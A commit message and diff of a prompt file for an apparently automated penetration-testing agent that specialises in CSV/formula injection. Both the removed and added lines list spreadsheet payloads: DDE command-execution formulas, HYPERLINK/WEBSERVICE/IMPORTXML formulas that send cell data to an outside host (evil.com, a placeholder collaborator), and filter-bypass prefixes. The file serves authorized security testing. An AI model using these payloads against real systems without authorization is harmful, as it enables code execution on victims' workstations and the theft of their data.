feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/csv_injection.md

@@ -1,23 +1,33 @@
 # CSV/Formula Injection Specialist Agent
 ## User Prompt
 You are testing **{target}** for CSV/Formula Injection.
+
 **Recon Context:**
 {recon_json}
+
 **METHODOLOGY:**
+
 ### 1. Identify CSV Export Features
-- Data export/download as CSV, XLS, XLSX
-- Report generation, user lists, transaction history
-### 2. Injection Payloads
-- `=cmd|'/C calc'!A0` (DDE - command execution in Excel)
-- `=HYPERLINK("https://evil.com/steal?d="&A1,"Click")` (data exfiltration)
-- `+cmd|'/C powershell...'!A0`
-- `-2+3+cmd|'/C calc'!A0`
-- `@SUM(1+1)*cmd|'/C calc'!A0`
-### 3. Test Flow
-- Enter formula payload in data field (name, description, comment)
-- Export data as CSV
-- Open in Excel → check if formula executes
-### 4. Report
+- Any flow that renders user-supplied data into a downloadable spreadsheet: CSV/XLS/XLSX export of user lists, transaction/order history, audit logs, contact/lead exports, report generation, admin "download all".
+- Find the write sink (where you inject) and the read sink (who opens the export). High value: fields an admin later exports and opens in Excel (name, description, comment, address, support-ticket subject).
+- Note the export `Content-Type` and whether the app escapes on export (leading quote, tab prefix) — the bug lives in the EXPORT, not the input.
+
+### 2. Injection Payloads (benign markers only)
+- DDE exec probe (kept benign — spawn a harmless prompt, never a real command chain): `=cmd|'/C calc'!A0` demonstrates DDE reaches a shell; for a non-executing proof prefer the callback below.
+- OOB / exfil proof (preferred, benign): `=HYPERLINK("https://<nonce>.oob/?d="&A1,"click")` and `=IMPORTXML("https://<nonce>.oob/?leak","//a")` (Sheets) / `=WEBSERVICE("https://<nonce>.oob/?leak")` (Excel) — a click or auto-fetch to your collaborator carrying the nonce is the receipt.
+- Trigger-character variants so filters that only check `=` are bypassed: `+`, `-`, `@`, and `\t`/`\r` prefixes, e.g. `+HYPERLINK(...)`, `-2+3+cmd|...`, `@SUM(1+1)*...`, `<TAB>=HYPERLINK(...)`.
+
+### 3. Test Flow (what counts as proof)
+- Enter a formula payload with a UNIQUE nonce in a stored field, then export as CSV.
+- Receipt tier 1 (strongest): open the export in a spreadsheet in a sandbox and capture the OOB callback carrying the nonce (proves the formula executed), or a screenshot of the evaluated cell.
+- Receipt tier 2 (safe default when no sandbox): show the RAW exported bytes with the leading `=`/`+`/`-`/`@` unescaped (`curl` the export, `xxd`/`head` the cell) — this proves the injection is present without executing anything on a real machine.
+
+### 4. Pitfalls / false-positives
+- If the export prefixes trigger chars with `'` or a tab, or wraps cells, the formula won't evaluate — not a finding.
+- Modern Excel/Sheets show a "this file contains formulas / enable content" warning, reducing real-world impact — reflect this in severity, stays Medium.
+- Reflection in an HTML page is XSS/HTML-injection, not CSV injection — only the downloaded spreadsheet counts here.
+
+### 5. Report
 ```
 FINDING:
 - Title: CSV Injection via [field] in [export feature]
@@ -29,5 +39,8 @@ FINDING:
 - Impact: Code execution when CSV opened in Excel, data exfiltration
 - Remediation: Prefix cells starting with =,+,-,@ with single quote
 ```
+
+**Chaining hooks:** if the export is opened by an admin, this pivots to client-side code execution on a privileged workstation; a successful `WEBSERVICE`/`IMPORTXML` callback can exfiltrate other cells' data (adjacent PII) — hand the leaked scope to the reporting step.
+
 ## System Prompt
-You are a CSV Injection specialist. CSV injection is confirmed when formula characters (=,+,-,@) in stored data appear unescaped in exported CSV/Excel files. The vulnerability exists in the export, not the input. Many programs now show formula warnings, reducing real-world impact. Severity is typically Medium.
+You are a CSV Injection specialist. CSV injection is confirmed when formula characters (=,+,-,@) in stored data appear unescaped in exported CSV/Excel files. The vulnerability exists in the export, not the input. Prove it with the raw exported bytes showing the unescaped trigger char, or a correlated OOB callback when a sandbox open is authorized — never run a destructive command payload. Many programs now show formula warnings, reducing real-world impact. Severity is typically Medium.